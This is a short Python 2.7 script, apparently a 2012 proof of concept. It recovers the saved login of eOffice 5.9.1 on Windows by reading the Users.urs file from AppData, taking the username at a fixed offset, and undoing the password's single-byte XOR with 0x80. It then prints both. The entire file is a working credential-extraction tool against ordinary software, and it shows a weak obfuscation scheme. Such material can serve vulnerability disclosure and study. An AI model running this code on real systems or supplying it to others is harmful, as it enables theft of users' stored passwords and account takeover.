# --------------  Infos     ------------------ #
# Author            : Brother Rain             #
# Date              : 08/09/2012               #
# -------------------------------------------- #

# -------------- Enviroment ------------------ #
# Language          : Python 2.7               #
# Windows Version   : 7                        #
# eOffice Version   : 5.9.1                    #
# -------------------------------------------- #

# -------------- File format ----------------- #
# Offset 8          : Username                 #
# Offset 135        : Password xor 80          #
# -------------------------------------------- #

import os

def readUserFile():
	file_contents = ""
	eO_file = open(os.environ["Appdata"] + "\\eOffice\\Users.urs", "r")
	file_contents = eO_file.read()
	return file_contents

def getUser(file_contents):
	username = ""
	i = 8
	while(ord(file_contents[i]) != 0):
		username += file_contents[i]
		i = i + 1
	return username

def getPassword(file_contents):
	password = ""
	i = 135
	while(ord(file_contents[i]) != 0):
		password += chr(ord(file_contents[i]) ^ 0x80)
		i = i + 1
	return password

file_contents = readUserFile()
print "User    : " + getUser(file_contents)
print "Password: " + getPassword(file_contents)